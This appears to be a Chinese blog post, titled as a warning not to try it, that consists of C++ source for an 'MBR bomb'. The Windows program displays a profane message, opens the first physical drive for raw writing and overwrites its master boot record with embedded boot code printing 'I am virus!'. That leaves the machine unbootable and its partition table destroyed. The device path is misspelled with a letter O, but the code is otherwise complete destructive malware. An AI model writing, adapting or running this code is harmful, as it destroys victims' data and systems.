!!!!!!!MBR炸弹 (千万别作死)!!!!!!!

// MBR炸弹 
#include <windows.h>
#include <winioctl.h>
#include <bits/stdc++.h>
using namespace std;
int killMBR();
 
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
 
	MessageBox(NULL,"Fuck MBR!","Fuck!",0);
	killMBR();
	return 0;
}
unsigned char scode[]="\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; 
 
 
int killMBR() 
{
	HANDLE hDevice;
	DWORD dwBytesWritten,dwBytesReturned;
	BYTE pMBR[512]={0};
	memcpy(pMBR,scode,sizeof(scode)-1);//重新构造MBR
 
	pMBR[510]=0x55;
	pMBR[511]=0xAA;
	hDevice=CreateFile("\\\\.\\PHYSICALDRIVEO",
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL,OPEN_EXISTING,0,NULL);
	if(hDevice==INVALID_HANDLE_VALUE)
	{
 
		return -1;
	}
	DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,
		&dwBytesReturned,NULL);
	WriteFile(hDevice,pMBR,sizeof(pMBR),&dwBytesWritten,NULL);//写入病毒内容
 
	DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0
		,&dwBytesReturned,NULL);
	CloseHandle(hDevice);
	ExitProcess(-1);
	return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值